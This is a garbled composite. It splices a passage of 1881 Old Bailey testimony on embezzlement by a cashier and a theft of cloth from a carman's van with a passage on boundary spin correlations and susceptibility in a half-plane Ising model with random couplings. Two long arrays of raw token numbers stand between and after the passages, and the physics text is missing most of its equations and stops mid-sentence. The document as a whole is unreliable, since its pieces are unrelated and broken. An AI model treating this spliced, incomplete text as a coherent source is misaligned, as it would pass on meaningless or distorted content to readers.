cheque—I call petty cash, amounts under a sovereign, but we never make a limit of a shilling—I always complained of his paying money out of petty cash—I heard of it six or eight times from November onwards; I always objected to it—I charged the man named Cheese—borough with not giving up his petty cash-book—I threatened to prosecute him for stealing it unless he could give a proper account of it—88l. 10s. was paid into my bank about July 24th, on 31st 6l., after that 5l. 8s. 11d.—he demanded one shilling an hour if he made up his accounts after he left—there was a balance against him; it has been allowed since—I saw some pencil marks in my writing in the ledger; I kept the books before Cowdry came—I remember charging the prisoner before the Magistrate with embezzling 2l. 2s. 9d.—I afterwards found I was mistaken—the collecting-book was put into my hand before the Magistrate—I saw 4l. 13s. 6d. marked off as paid, and I noticed the interrogation mark; I had not noticed it before then—I do not know what the interrogation refers to—the first date of the rough scroll scrap-book was August, 1879; from then till December, 1880, we had not a rough cash-book in our business. Re-examined. It was the prisoner's duty to keep the books, and whatever fault there is in them attaches to him—I made a rough examination of the books, and then put them into the hands of an accountant. By.MR. GEOGHEGAN. I could not find Bock's time-sheets, and I asked him for copies of them; I did not say Cowdry had kept them back—Lock said he had given them to Cowdry; they were found in my desk. By.MR. TORR. Mr. Ball, the accountant, drew my attention to the 2l. 2s. 9d. which had been included in a larger amount, 8l. 1s. 6d., and I withdrew the charge as to that item—I found that Cheeseborough had not got the book, therefore I did not prosecute him—there is no mistake as to the three items I have given—Mr. Garvie kept the books in 1879. WILLIAM FLINT. I am employed by Mr. Garvie as office-boy; Cowdry was cashier—on 27th November I received 2l. 13s. 6d. from Mr. Tozeland, 2l. in gold and 13s. 6d. in silver—I put it in the corner of Cowdry's drawer—two hours afterwards Mrs. Middleton heard me tell Cowdry that Mr. Tozeland had paid his account, and that I put it into the corner of his drawer—Cowdry took it out and counted it—I believe he put it back again. Cross-examined. Mrs. Middleton sometimes received money—I received money too—Mrs. Middleton shows the customers how to work the washing machines—I do not know how many workmen there are; Mr. Garvie or Cowdry would pay them—Cowdry paid me my wages, 5s. a week—the books were in the office—I never saw the cash-book locked—I saw the small cash-book—Cheeseborough used it. ANNIE MIDDLETON. I am housekeeper at Mr. Game's, in New Street—I remember Flint telling Cowdry on 27th November about the money which I saw the gentleman pay—I went into the office to see if Mr. Garvie was in, and Mr. Tozeland was waiting—the boy made out a receipt while I was engaged showing how to work a machine—Mr. Tozeland said his girl did not understand it—he took the receipt away, and Flint put the money in Cowdry's drawer—when Cowdry came in, Flint said, "Mr. Tozeland has called to pay an account, and the money is in your drawer," or "I have put the money in your drawer"—Cowdry then sat down, and took the money out of the drawer—I cannot tell what he did with it. Cross-examined. I have received money from customers—I do not know what the prisoner did in the afternoon—he was in and out a good deal—I did not know who sent him out. J. BALL. I am an accountant of 1, Gresham Buildings, Basinghall Street—I examined the books about a fortnight ago—they are very badly kept—I made a communication to Mr. Garvie about an item of 2l. 2s. 9d., which I had traced—it was entered on the receipt side of the cash-book in a larger sum, and appears in a different name—my examination extended from April, 1880, till the present time—I find no entries of the sums 8l. 3s., 2l., and 2l. 13s. 6d. except that the 8l. 3s. is entered in the ledger—the queried entry is the prisoner's handwriting. Cross-examined. I cannot swear to the note of interrogation—I take the entry altogether. JAMES GARVIE (Re-examined). The prisoner came into my employment in April, 1880, as an extra hand at first, to assist me in a lawsuit against Messrs Butterfield; he was my cashier from that time—he conducted himself so well that I made him my regular cashier—Fowler kept the books three weeks. The prisoner received a good character. NOT GUILTY. There were two other, indictments against him which were adjourned till next Session. NEW COURT.—Wednesday, April 6th, 1881. Before Mr. Recorder. Reference Number: t18810328-403 403. JAMES HATELEY (37), GEORGE STEVENS (24), and ALFRED GREEN (34), Stealing 53 rolls of cloth and four wooden cases, the goods of Isaac Mead and others. ARTHUR PYE. I am a warehouseman to Hughes and Mead, cloth merchants, of St. Paul's Churchyard—I saw 53 rolls of cloth in the possession of the police—it belongs to them—value 398l.—this is one of them (produced).—they were packed in four cases marked H. M. & S., and delivered to one of Davis's vans on 5th January, and taken to the Custom House Quay—they left our premises about 12—I heard of their loss about 12 o'clock the same day. EDWARD STOCK. I am a carman in the service of Richard Davis and Son, of Knightrider Street—about 12.15 p.m. on 5th January I received four cases from Hughes and Mead—I took them to Leadenhall Street, got a shipping order, and went on to St. Dunstan's Hill—a lad came up and spoke to me—from what he said I got down from the van and went back to Eastcheap—not seeing anybody there I went back to where I left my van, and it had disappeared—I saw it next morning in the possession of the police—this is one of the cases—the boy was a stranger to me. WILLIAM KEELEY. (Policeman G. 404). On 5th January about 7 p.m. I was in the Hackney Road—I found one of Davis's vans with no one looking after it—there was one horse—it was standing by a public-house—I took it to the station—I afterwards went to Mr. Davis. PHILIP PORTER. (Policeman H. 222). About 2 a.m. on 6th January I was on duty in Satchwell Street, Bethnal Green Road—I had tried the doors and found them safe—I heard some one running and some one call out, "Go on, Jack"—they turned into the Bethnal Green Road, and I lost sight of them—I went back into Satchwell Street, about 20, yards from the warehouse door, and picked up a man's hat—I went on—I saw the ware-house door open—while I was examining the doer the prisoner Stevens came in an opposite direction from Turin Street—he ran away—I saw he had no hat on, and gave chase—I caught him in Church Road, Bethnal Green, about 300 yards off—I asked him what he was running for; he laid, "Nothing"—I asked him what he wanted in Satchwell Street fee said he had come there to pick up his hat—I showed him the hat which I had in my hand, and asked him if it was his; he said "Yes, that is mine"—I said he would have to go back with me—I met Police Constable 87 at the corner of Orange Street—he came back with me and went inside, the gateway—he came out and said, "There are a lot of rolls of cloth; I will hold the prisoner, you
[ 22, 187, 187, 936, 1089, 187, 187, 2811, 253, 760, 3607, 273, 795, 34, 465, 64, 285, 795, 35, 465, 64, 359, 878, 403, 187, 187, 395, 13, 347, 795, 10227, 64, 19167, 4150, 795, 79, 64, 1157, 187, 187, 11888, 841, 34754, 359, 1089, 187, 187, 2811, 253, 10303, 795, 46, 64, 313, 795, 76, 64, 2387, 342, 795, 76, 64, 18315, 374, 9, 795, 79, 64, 4150, 337, 10, 403, 20059, 275, 795, 10227, 64, 323, 50275, 8497, 326, 253, 10235, 273, 50275, 7110, 247, 15903, 387, 795, 10227, 64, 426, 4150, 795, 79, 64, 285, 253, 10235, 273, 50275, 7110, 247, 15903, 387, 50276, 15, 844, 778, 1024, 8488, 253, 12400, 313, 19, 15, 3763, 10, 407, 13872, 795, 10227, 64, 19167, 4150, 795, 79, 64, 281, 4044, 187, 187, 395, 359, 778, 8488, 12400, 313, 19, 15, 3832, 10, 407, 13872, 50275, 936, 4044, 187, 187, 17756, 13, 417, 760, 1057, 50275, 24796, 281, 320, 20059, 387, 50275, 12157, 273, 253, 3361, 273, 2426, 14495, 281, 256, 3757, 50275, 2858, 50273, 18566, 417, 2226, 604, 50276, 15, 496, 1798, 13, 253, 5058, 14, 3423, 16329, 1057, 417, 2226, 604, 50276, 15, 187, 187, 9, 795, 37, 64, 2387, 50275, 44982, 26329, 13, 795, 10227, 64, 426, 470, 187, 187, 1147, 4558, 281, 1263, 253, 1083, 795, 10227, 64, 426, 470, 15, 380, 2045, 34754, 1891, 275, 436, 1083, 984, 22459, 2426, 273, 1340, 50275, 12781, 485, 1774, 15, 4325, 313, 19, 15, 1348, 10, 359, 452, 187, 187, 1909, 1078, 13, 2193, 273, 795, 50020, 64, 2239, 795, 3393, 64, 8162, 760, 281, 247, 11276, 2962, 275, 8909, 9136, 273, 50276, 15, 2091, 795, 50020, 64, 5062, 470, 359, 16851, 23, 187, 187, 2811, 795, 7072, 64, 5062, 470, 15, 48442, 17271, 310, 31752, 434, 3638, 285, 187, 187, 5872, 970, 313, 19, 15, 2405, 10, 285, 313, 19, 15, 1237, 10, 359, 778, 16851, 187, 187, 8457, 50275, 664, 778, 5645, 187, 187, 5872, 359, 778, 4044, 253, 4283, 2426, 275, 253, 11193, 407, 734, 28276, 7367, 273, 9554, 285, 15706, 253, 5170, 2701, 273, 253, 795, 2141, 64, 9554, 407, 13246, 241, 13, 281, 4044, 187, 187, 2811, 24, 187, 187, 39899, 313, 19, 15, 3121, 10, 27309, 625, 7808, 685, 667, 24622, 1612, 273, 50275, 284, 50275, 395, 310, 3103, 417, 273, 253, 830, 313, 18, 15, 1047, 795, 68, 64, 2387, 534, 310, 4764, 1025, 407, 253, 346, 26717, 23653, 3, 795, 10227, 4414, 187, 187, 20, 15, 5851, 947, 7669, 9975, 1042, 14, 4350, 1042, 27196, 33792, 6570, 37607, 44622, 187, 187, 2512, 403, 13, 273, 2282, 13, 1142, 5799, 5508, 14, 16056, 5921, 3470, 323, 767, 27923, 2822, 253, 7548, 273, 776, 2716, 14, 13568, 273, 1680, 272, 27923, 13, 285, 359, 588, 1461, 460, 776, 1600, 281, 253, 2714, 1083, 672, 1097, 27923, 403, 275, 253, 7548, 4194, 337, 15, 844, 840, 897, 253, 30221, 273, 10372, 19048, 285, 1089, 326, 323, 667, 10979, 275, 776, 4849, 187, 187, 2811, 13, 432, 5466, 15, 374, 342, 50276, 13, 187, 187, 395, 13, 970, 271, 4154, 2074, 281, 326, 273, 5466, 15, 374, 13, 187, 187, 395, 187, 187, 510, 806, 1307, 275, 313, 20, 15, 18, 10, 310, 7478, 347, 50276, 15, 187, 187, 1231, 403, 6110, 760, 275, 253, 50275, 17465, 273, 313, 20, 15, 18, 481, 496, 16585, 50275, 262, 310, 4293, 1585, 1880, 359, 1339, 50275, 9131, 390, 846, 50276, 15, 1198, 16397, 13, 1339, 50275, 7053, 15, 25, 2635, 352, 310, 4354, 2326, 326, 13, 323, 50276, 15, 3813, 13, 253, 806, 767, 2426, 275, 313, 20, 15, 18, 10, 29259, 347, 50276, 15, 5488, 13, 604, 795, 78, 64, 8611, 243, 470, 13, 187, 187, 601, 359, 7525, 326, 323, 667, 4849, 273, 14120, 551, 795, 38, 64, 374, 94, 187, 187, 1552, 310, 281, 320, 17522, 689, 551, 795, 38, 64, 374, 94, 275, 253, 50275, 17465, 285, 359, 1089, 187, 187, 1992, 1263, 253, 4283, 1307, 273, 313, 20, 15, 22, 10, 672, 795, 10227, 64, 426, 795, 48, 64, 313, 18, 582, 359, 1056, 253, 35225, 313, 19, 15, 1036, 582, 313, 19, 15, 1093, 582, 285, 313, 19, 15, 746, 481, 844, 671, 4853, 187, 187, 1909, 1078, 13, 359, 1908, 253, 9021, 281, 253, 470, 9909, 432, 470, 654, 795, 10977, 64, 654, 795, 47, 64, 4150, 19, 285, 795, 10977, 64, 2239, 795, 47, 64, 4150, 19, 11794, 15, 380, 7680, 432, 795, 10977, 64, 2239, 795, 47, 64, 4150, 19, 310, 13, 281, 8840, 1340, 275, 795, 47, 64, 1157, 3907, 273, 795, 10227, 64, 285, 7024, 760, 327, 795, 78, 4414, 3813, 13, 359, 452, 187, 187, 2811, 795, 71, 64, 313, 795, 78, 64, 2387, 310, 253, 7680, 281, 795, 34, 64, 4150, 18, 9, 18, 13, 470, 28, 337, 13, 795, 78, 64, 2387, 795, 11927, 64, 432, 795, 50020, 64, 2239, 795, 47, 64, 4150, 19, 15, 187, 187, 510, 795, 47, 64, 374, 10096, 273, 253, 9909, 275, 313, 20, 15, 24, 10, 310, 1160, 6843, 407, 970, 313, 19, 15, 1423, 10, 281, 1089, 323, 1781, 795, 50020, 64, 326, 187, 187, 17756, 604, 359, 823, 285, 43444, 337, 275, 253, 795, 50020, 64, 9909, 359, 778, 9017, 253, 5170, 2701, 273, 9554, 281, 23579, 285, 4044, 187, 187, 2811, 187, 187, 510, 1159, 50275, 11159, 320, 1160, 6843, 407, 38883, 253, 958, 326, 352, 310, 3907, 273, 795, 10227, 4414, 3813, 13, 50275, 11159, 320, 10302, 407, 7296, 1040, 795, 10227, 64, 1040, 5062, 795, 47, 64, 374, 285, 10568, 326, 253, 1307, 275, 50275, 4609, 310, 3907, 273, 795, 47, 64, 5194, 2057, 342, 253, 4283, 1307, 273, 253, 795, 53, 64, 19167, 795, 53, 260, 64, 2701, 273, 40955, 313, 48818, 15, 22, 15, 1717, 10, 390, 313, 48818, 15, 23, 15, 883, 10, 273, 50276, 13, 534, 403, 3588, 323, 795, 78, 64, 1040, 795, 53, 64, 4150, 795, 53, 260, 64, 93, 9280, 337, 13, 390, 342, 253, 4283, 1307, 273, 253, 795, 85, 64, 19167, 13246, 241, 313, 795, 85, 64, 541, 112, 19167, 13246, 241, 10, 3879, 273, 50275, 28821, 407, 40955, 313, 48818, 15, 25, 15, 3156, 10, 390, 313, 48818, 15, 25, 15, 2945, 582, 534, 403, 3588, 323, 795, 78, 64, 1040, 795, 53, 64, 4150, 795, 53, 260, 64, 93, 426, 795, 48, 64, 313, 18, 481, 844, 513, 417, 1902, 281, 320, 2104, 281, 18302, 625, 685, 253, 806, 1307, 326, 7024, 327, 795, 78, 64, 273, 253, 7466, 984, 253, 11193, 313, 20, 15, 26, 10, 18369, 84, 512, 2426, 273, 1340, 795, 48, 64, 313, 795, 47, 64, 4150, 19, 481, 187, 187, 1231, 4459, 436, 562, 407, 40944, 50275, 4064, 313, 19, 15, 938, 10, 275, 313, 20, 15, 26, 10, 285, 970, 313, 19, 15, 2385, 10, 281, 1089, 187, 187, 3039, 1040, 795, 10227, 64, 1040, 19167, 13246, 241, 359, 897, 253, 20185, 7466, 313, 19, 15, 2537, 10, 285, 4044, 187, 187, 7542, 187, 187, 395, 187, 187, 664, 11120, 1089, 187, 187, 510, 806, 767, 2426, 275, 436, 7466, 513, 417, 3469, 327, 795, 47, 64, 672, 1040, 795, 10227, 64, 1040, 5062, 795, 47, 64, 374, 13, 285, 597, 5194, 342, 253, 4283, 1307, 273, 313, 48818, 15, 25, 15, 1449, 10, 672, 795, 53, 64, 2239, 795, 53, 260, 64, 285, 342, 253, 806, 767, 2426, 273, 313, 48818, 15, 25, 15, 1449, 10, 672, 795, 53, 64, 654, 795, 53, 260, 4414, 3813, 359, 7525, 326, 187, 187, 1992, 12106, 2007, 50275, 262, 310, 4217, 281, 24813, 313, 20, 15, 883, 481, 3973, 3877, 326, 13, 1580, 187, 187, 664, 452, 187, 187, 688, 253, 806, 313, 9815, 10, 9909, 13, 359, 778, 22403, 253, 25883, 273, 9554, 281, 253, 2762, 313, 12373, 10, 21833, 209, 50020, 14, 10565, 15, 2635, 359, 778, 897, 253, 5886, 26, 187, 187, 2811, 795, 43, 64, 1040, 795, 10227, 64, 1040, 9, 795, 20933, 64, 2387, 285, 795, 58, 64, 1040, 795, 10227, 64, 1040, 9, 795, 20933, 64, 2387, 403, 253, 378, 25740, 3470, 273, 253, 806, 285, 1273, 2238, 534, 403, 2931, 347, 187, 187, 395, 187, 187, 14131, 359, 4044, 253, 6799, 906, 187, 187, 688, 436, 830, 13, 352, 310, 2590, 326, 187, 187, 2811, 253, 1390, 5150, 778, 320, 2797, 432, 313, 19, 15, 1839, 481, 831, 310, 4555, 253, 1318, 326, 310, 2797, 275, 253, 1623, 84, 3800, 10979, 15, 831, 39165, 7052, 342, 253, 1318, 273, 50275, 49845, 1243, 275, 5466, 15, 374, 285, 310, 247, 24863, 20028, 273, 253, 958, 326, 50275, 261, 417, 247, 5912, 337, 1789, 15, 187, 187, 688, 2087, 13, 50275, 32824, 320, 4469, 275, 2426, 273, 10334, 2907, 3470, 15, 2091, 50275, 263, 50276, 13, 2299, 13, 625, 8077, 1877, 310, 1896, 15, 187, 187, 9, 74, 10, 187, 187, 688, 436, 1083, 187, 187, 395, 359, 1089, 187, 187, 1552, 310, 10534, 4503, 281, 253, 4283, 1307, 273, 253, 795, 53, 64, 426, 795, 53, 260, 7481, 50275, 4347, 6232, 273, 50275, 1542, 1781, 795, 78, 64, 1677, 407, 313, 48818, 15, 25, 15, 2945, 481, 5488, 13, 436, 7274, 697, 50275, 17465, 347, 50276, 15, 1292, 1580, 795, 53, 64, 8611, 243, 795, 53, 260, 7481, 436, 3468, 20157, 2746, 281, 253, 50275, 17465, 39165, 16821, 342, 253, 17619, 2746, 281, 253, 50275, 17465, 12322, 407, 50276, 13, 285, 8025, 407, 253, 346, 26717, 23653, 3, 5740, 273, 5921, 3470, 5469, 275, 253, 10199, 15, 187, 187, 9, 2886, 10, 187, 187, 688, 436, 1083, 187, 187, 395, 359, 1089, 187, 187, 1466, 50275, 395, 1089, 187, 187, 2811, 32982, 50275, 395, 4927, 50275, 609, 253, 37353, 285, 7349, 460, 28676, 2931, 407, 313, 48818, 15, 25, 15, 1235, 10, 285, 313, 48818, 15, 25, 15, 3712, 481, 2091, 50275, 261, 1355, 359, 778, 897, 253, 7466, 740, 273, 32982, 50275, 395, 4927, 50275, 936, 3630, 187, 187, 1552, 310, 4518, 417, 795, 11969, 64, 281, 253, 4283, 1307, 273, 253, 795, 53, 64, 426, 795, 53, 260, 7481, 50275, 4347, 6232, 273, 50275, 28821, 275, 10372, 19048, 13, 533, 352, 795, 6772, 3844, 64, 352, 347, 50276, 15, 2091, 50275, 261, 1781, 13, 359, 452, 253, 20185, 7466, 187, 187, 20517, 359, 923, 326, 253, 2746, 281, 253, 50275, 17465, 310, 20157, 2581, 685, 17619, 15, 187, 187, 3378, 253, 11259, 2530, 407, 841, 767, 2714, 2219, 13, 359, 1614, 281, 253, 2087, 1083, 285, 1263, 253, 954, 4722, 14155, 2219, 273, 313, 20, 15, 1423, 2262, 313, 795, 66, 64, 2387, 795, 10227, 64, 4229, 13, 50276, 28, 313, 795, 67, 64, 2387, 795, 10227, 64, 8611, 243, 470, 4229, 13, 50276, 28, 285, 313, 795, 68, 64, 2387, 795, 10227, 64, 426, 470, 13, 50276, 15, 187, 187, 9, 795, 66, 64, 2387, 795, 10227, 64, 4229, 13, 187, 187, 688, 436, 1083, 13, 359, 1902, 281, 1056, 3057, 342, 10372, 19048, 15, 496, 1798, 13, 359, 1902, 326, 672, 50275, 783, 1307, 3907, 273, 795, 47, 64, 943, 5194, 342, 253, 795, 53, 64, 426, 795, 53, 260, 7481, 795, 78, 64, 19167, 13246, 241, 3879, 273, 50275, 28821, 275, 313, 48818, 15, 854, 15, 2945, 481, 844, 452, 3786, 2326, 275, 253, 2714, 2219, 50275, 395, 50275, 3529, 436, 310, 253, 1083, 533, 326, 275, 253, 1083, 273, 50275, 783, 2746, 281, 436, 2701, 310, 8489, 9542, 407, 253, 3361, 273, 2426, 7668, 496, 50276, 15, 187, 187, 1992, 1263, 436, 2701, 275, 253, 2087, 1083, 13, 359, 3877, 883, 326, 323, 1781, 795, 20933, 64, 187, 187, 2811, 323, 776, 3710, 4096, 359, 13280, 760, 253, 806, 767, 2426, 15, 844, 840, 3630, 187, 187, 688, 253, 806, 9909, 13, 359, 3630, 187, 187, 510, 1390, 9909, 310, 273, 253, 1072, 830, 347, 369, 5421, 275, 253, 2714, 1083, 50276, 15, 3308, 187, 187, 2811, 187, 187, 1231, 778, 897, 253, 40955, 273, 32982, 285, 4927, 285, 4044, 187, 187, 1909, 3264, 13, 672, 50275, 783, 1307, 3907, 273, 795, 47, 64, 18726, 342, 313, 48818, 15, 25, 15, 2945, 481, 187, 187, 9, 795, 67, 64, 2387, 50276, 13, 795, 10227, 64, 8611, 243, 470, 187, 187, 510, 954, 11555, 4735, 273, 313, 20, 15, 1423, 10, 310, 697 ]	5 to find where the only properties of _A k_ and _B k_ we need are and, as _δ_ → − _n_, Using these approximations we find where the coefficients _M_ ( _k_ ) with _k_ ≤ 2( _n_ − 1) are analytic in _δ_ for Note that the coefficient of has a pole at _δ_ = − _n_ and the coefficient of has a pole at . We may now lift the restriction (2.62) by letting _δ_ → − _n_ to obtain and we may lift restriction (2.61) by letting to obtain Therefore, not only does fail to be analytic at because of the presence of terms proportional to sgn but does not exist if . In particular, the zero-field susceptibility does not exist if . ( _D_ ) Near Zero, _δ_ = 0 It remains to study the case _δ_ = 0. The previous approximations fail in this case because neglected terms of order become important. From (2.24) we have As before, values of _ϕ_ > _ε_ contribute only to a Taylor series in odd powers of . When _ϕ_ ~ 0 we approximate6 where _γ_ ~ 0.577216 is Euler's constant and Then using (2.31) and (2.32) we may approximate Because we may expand Then we may obtain the leading terms in the approximation by interchanging orders of integration and replacing the upper limit of the _α_ integration by ∞, to obtain where7 Clearly (2.76) vanishes more slowly than any fractional power of as and is therefore not of the form (1.14 _c_ ) which is parameterized by the "critical exponent" _δ_. 3.AVERAGE SPIN-SPIN CORRELATION FUNCTIONS There are, of course, many distinct spin-spin correlation functions for two spins near the boundary of our half-plane of Ising spins, and we will confine our interest to the special case when both spins are in the boundary row 1. We then use the formalism of Chapter VII and find that for any lattice in our collection where, from Sec. 2 with , and, using an argument similar to that of Sec. 2, and The first term in (3.1) is recognized as . We are interested only in the limit of (3.1). In discussing it is immaterial whether we let before or after . For convenience, let first.8 Then it is easily seen that, for . Therefore, the first two terms in (3.1) vanish as . Furthermore, if _m_ ≠ 0, so we conclude that for any collection of energies { _E_ 2} This is to be averaged over { _E_ 2} in the limit and we find To study the leading term of (3.5) when _δ_ = _O_ (1), we make the substitutions (2.16), (2.18), and (2.19). We also define As before, we consider the contributions to the 0 integral from 0 < _θ_ < _N_ −2 and _θ_ > _N_ −2 separately. The contribution from _θ_ > _N_ −2 is, to lowest order in _N_, independent of _δ_ and depends only on _m_. Therefore, we have where _f_ ( _m_ ) is the contribution to _A_ −1(1, 0; 1, _m_ ) _DD_ from _ϕ_ > _N_ −2. The _N_ 2 dependence of the integral in (3.7) is made explicit by using (2.22) to find for large _ϕ_ that Therefore if we add and subtract 1 in the _ϕ_ integral we may extend the upper limit of integration to infinity and obtain where The function may be made explicit by exploiting the fact that it is independent of _δ_. Therefore, may be computed by considering \| _δ_ \| ~ _N_ 2 and requiring that the term in which is independent of _N_ agree either with the leading term of the _T_ → _T c_ limit of expansions (VII.5.29) or (VII.6.11) of , which are valid for _m_ \| _T_ − _T c_\| » 1, or with the leading term of the _t_ → ∞ ( _t_ ′ → ∞) behavior of given by expansions (VII.8.41) or (VII.8.42), which are valid for _m_ \| _T_ − _T c_\| = _O_ (1). We do not expect to be able to reproduce more than the first term that depends on _m_ of the expansion because the approximation (3.9) neglects all terms of order _O_ ( _N_ −2). We carry this out by substituting from (2.20) in (3.9) and using (2.48) to find When \| _δ_ \| → ∞ we use the asymptotic expansion (2.49) and obtain Since and we explicitly find The first two terms in this expansion do not depend on _N_ when \| _δ_ \| ~ _N_ 2, and they agree with the leading term of (VII.8.40) when _T_ > _T c_ and with the first two terms of (VII.8.40) when _T_ < _T c_. Therefore we conclude that To analyze further it is useful to rewrite (3.11). First note that, since we have In the first (second) integral, we may deform the contour of integration to the positive (negative) imaginary ϕ-axis. Then we may use the relation9 where _J_ \| _δ_ \|( _ξ_ ) and _Y_ \| _δ_ \|( _ξ_ ) are the Bessel functions of the first and second kind which are defined as and Thus we obtain the desired result In this form, it is clear that where the last equation may be obtained from (2.38). This is exactly the value that is obtained in the Onsager lattice. This contrasts strongly with the value of obtained in Sec. 2 and is a vivid demonstration of the fact that is not a probability 1 object. In general, cannot be expressed in terms of tabulated functions. When or , however, more simplification is possible. (i) In this case and we find This is precisely equal to the leading term of the _T_ = _T c_, expansion of for large _m_ given by (VII.8.42). Furthermore, this approaches its limit as . But since _T_ ≠ _T c_, this slow algebraic approach to the limit contrasts dramatically with the exponential approach to the limit exhibited by , and assumed by the "critical exponent" description of correlation functions discussed in the introduction. (ii) In this case and we find Let and find where Ci and si are the sine and cosine integrals defined by (VII.8.50) and (VII.8.51). When is small we may use the expansion10 of Ci and si to write This is clearly not _equal_ to the leading term of the _T_ = _T c_, expansion of given in Chapter VII, but it _approaches_ it as . When is large, we have the asymptotic expansion Again we see that the approach to the limit is algebraic rather than exponential. With the orientation provided by these two special cases, we turn to the general case and study the most interesting limiting cases of (3.22): ( _a_ ) _δ_ fixed, ; ( _b_ ) _δ_ ≠ 0 fixed, ; and ( _c_ ) _δ_ = 0, . ( _a_ ) _δ_ fixed, In this case, we expect to make contact with Chapter VII. In particular, we expect that when the term independent of _N_ should agree with the _T_ = _T c_, _m_ → ∞ behavior of given in (VII. 8.42). We have previously seen in the special cases and that this is the case but that in the case of the approach to this limit is somewhat complicated by the presence of terms involving In . To study this limit in the general case, we note11 that for large _ξ_ where for our limited purpose we retain only the first two terms. We then write In the first integral, we write The last integral is of the same form as was studied in the special case . Thus where We may use the expansions of Ci and si and obtain As expected, when the term independent of _N_ agrees with (VII.8.42). ( _b_ ) , _δ_ ≠ 0 The most unusual feature of (3.22) is its
[ 8799, 27, 28160, 273, 13740, 257, 13, 619, 1121, 316, 32, 9870, 13, 642, 19600, 310, 1469, 281, 1379, 479, 10369, 342, 247, 4060, 751, 326, 13, 5734, 309, 452, 247, 4248, 432, 12835, 27709, 15, 1893, 1339, 457, 84, 513, 436, 13, 984, 5010, 619, 1495, 556, 644, 247, 3426, 8138, 273, 673, 15, 1737, 2010, 513, 309, 452, 13, 1663, 32, 3808, 4491, 16620, 32, 3808, 32297, 16258, 32, 8874, 311, 3355, 275, 42631, 14963, 32, 45734, 1417, 15, 1583, 403, 45069, 40981, 264, 2439, 253, 2614, 285, 15447, 273, 247, 5948, 326, 13, 751, 479, 13, 310, 2080, 625, 685, 752, 352, 4620, 281, 320, 15, 1532, 187, 7582, 27, 187, 14, 1040, 187, 50274, 5180, 18, 62, 27075, 19, 1092, 11007, 3697, 287, 16478, 13, 10092, 12349, 358, 61, 187, 50274, 35227, 13416, 9966, 366, 13, 18682, 17687, 3062, 3313, 18196, 61, 187, 50274, 45, 2373, 3062, 13, 5002, 898, 1857, 1235, 13, 5106, 61, 187, 50274, 38, 14, 5719, 27, 187, 5564, 27, 686, 6560, 307, 1406, 14, 31404, 307, 1406, 22957, 327, 253, 10979, 8, 187, 1532, 187, 187, 7679, 6078, 212, 37292, 23022, 3015, 187, 187, 16622, 18, 187, 187, 16622, 18, 14598, 1035, 41447, 18, 3851, 9899, 187, 187, 14214, 187, 7770, 187, 187, 4041, 440, 42195, 16909, 273, 253, 10325, 310, 253, 1232, 326, 3977, 281, 253, 11921, 273, 2540, 28556, 790, 347, 2429, 281, 616, 4042, 552, 251, 21421, 15, 380, 2603, 273, 436, 46623, 1180, 8411, 13, 534, 310, 3264, 281, 1705, 432, 4457, 253, 12144, 10031, 313, 4449, 46, 10, 12057, 13, 476, 320, 8156, 275, 1698, 14, 14115, 4870, 824, 347, 19025, 10027, 313, 338, 46623, 1180, 310, 13588, 407, 337, 3943, 10, 390, 16307, 875, 5205, 9036, 285, 1331, 460, 307, 9036, 313, 338, 46623, 1180, 310, 13588, 407, 374, 5085, 481, 380, 6158, 1083, 13, 2223, 6289, 281, 347, 21604, 14, 31404, 307, 1406, 28088, 313, 28709, 281, 9238, 41341, 12480, 582, 19539, 281, 320, 271, 27807, 10076, 672, 7296, 253, 7312, 256, 13203, 16259, 5406, 273, 28556, 2646, 261, 261, 313, 4609, 28096, 46623, 1180, 13, 370, 35, 1366, 285, 45625, 1180, 13, 370, 45, 1366, 533, 6405, 265, 370, 35, 14, 45, 7884, 9904, 342, 11432, 3230, 38277, 1008, 48598, 522, 29628, 27, 16134, 82, 70, 62, 313, 39374, 5502, 875, 38277, 285, 1331, 460, 307, 34573, 5644, 281, 669, 3442, 418, 426, 374, 14553, 9157, 13, 21604, 14, 31404, 307, 1406, 22957, 513, 417, 11089, 432, 44062, 10476, 621, 326, 476, 4656, 19025, 10027, 604, 627, 310, 1652, 14787, 342, 253, 3302, 1375, 19025, 285, 2457, 1375, 6488, 390, 12910, 251, 1008, 47, 1316, 249, 729, 27, 8971, 13041, 1570, 1916, 326, 990, 13, 21604, 14, 31404, 307, 1406, 22957, 452, 644, 14859, 21657, 342, 27807, 22087, 323, 669, 1588, 92, 48, 1603, 9138, 1009, 11701, 275, 15146, 5661, 6031, 1008, 1845, 75, 64, 57, 1570, 187, 187, 6693, 5955, 273, 21604, 14, 31404, 307, 1406, 22957, 7866, 342, 7384, 253, 6242, 273, 690, 378, 6955, 1232, 326, 5644, 281, 247, 669, 3442, 378, 426, 374, 5, 5572, 275, 253, 1698, 14, 14115, 3576, 1673, 3762, 15, 831, 5572, 588, 1421, 281, 745, 14, 41758, 3603, 273, 253, 14342, 273, 253, 21604, 14, 31404, 307, 1406, 985, 1764, 2043, 92, 2132, 94, 187, 41, 426, 393, 2043, 92, 14336, 94, 444, 64, 79, 708, 393, 3005, 278, 3202, 393, 3005, 278, 708, 444, 1126, 2009, 92, 79, 599, 393, 423, 92, 14336, 7628, 2043, 92, 14336, 94, 444, 12, 55, 708, 393, 3005, 278, 3202, 393, 3005, 278, 708, 444, 14, 55, 393, 423, 92, 14336, 5548, 423, 92, 2132, 2138, 835, 370, 55, 5, 310, 253, 2442, 3064, 875, 253, 21604, 285, 253, 1331, 460, 307, 1406, 313, 66, 5212, 1673, 476, 1421, 281, 247, 1327, 14, 10528, 370, 55, 5, 1580, 253, 5212, 9506, 452, 7285, 7871, 10, 285, 370, 55, 30, 17, 5, 275, 247, 1959, 985, 15, 15797, 16161, 253, 40598, 5150, 323, 253, 985, 13, 581, 9010, 253, 5502, 5912, 875, 5205, 9036, 285, 1331, 460, 307, 9036, 1677, 407, 3318, 49, 578, 79, 61, 4287, 393, 2009, 92, 79, 4935, 85, 10, 426, 393, 1124, 464, 3005, 278, 63, 19, 2704, 3005, 278, 63, 19, 559, 657, 63, 19, 889, 7432, 63, 19, 61, 5178, 5709, 2609, 464, 3005, 278, 63, 19, 559, 657, 63, 19, 94, 393, 246, 393, 5178, 44524, 3900, 436, 5150, 310, 2032, 323, 247, 1677, 370, 55, 1366, 352, 310, 2629, 281, 4853, 253, 2180, 273, 1959, 21604, 22957, 1955, 281, 253, 378, 6955, 12057, 347, 1764, 3115, 578, 79, 61, 4862, 92, 79, 599, 426, 393, 1124, 92, 18, 2704, 3005, 278, 10878, 380, 1318, 323, 669, 3115, 578, 79, 61, 4862, 92, 79, 4018, 10260, 7024, 327, 534, 378, 6955, 10076, 310, 1146, 14859, 15, 733, 556, 644, 5998, 326, 247, 3033, 273, 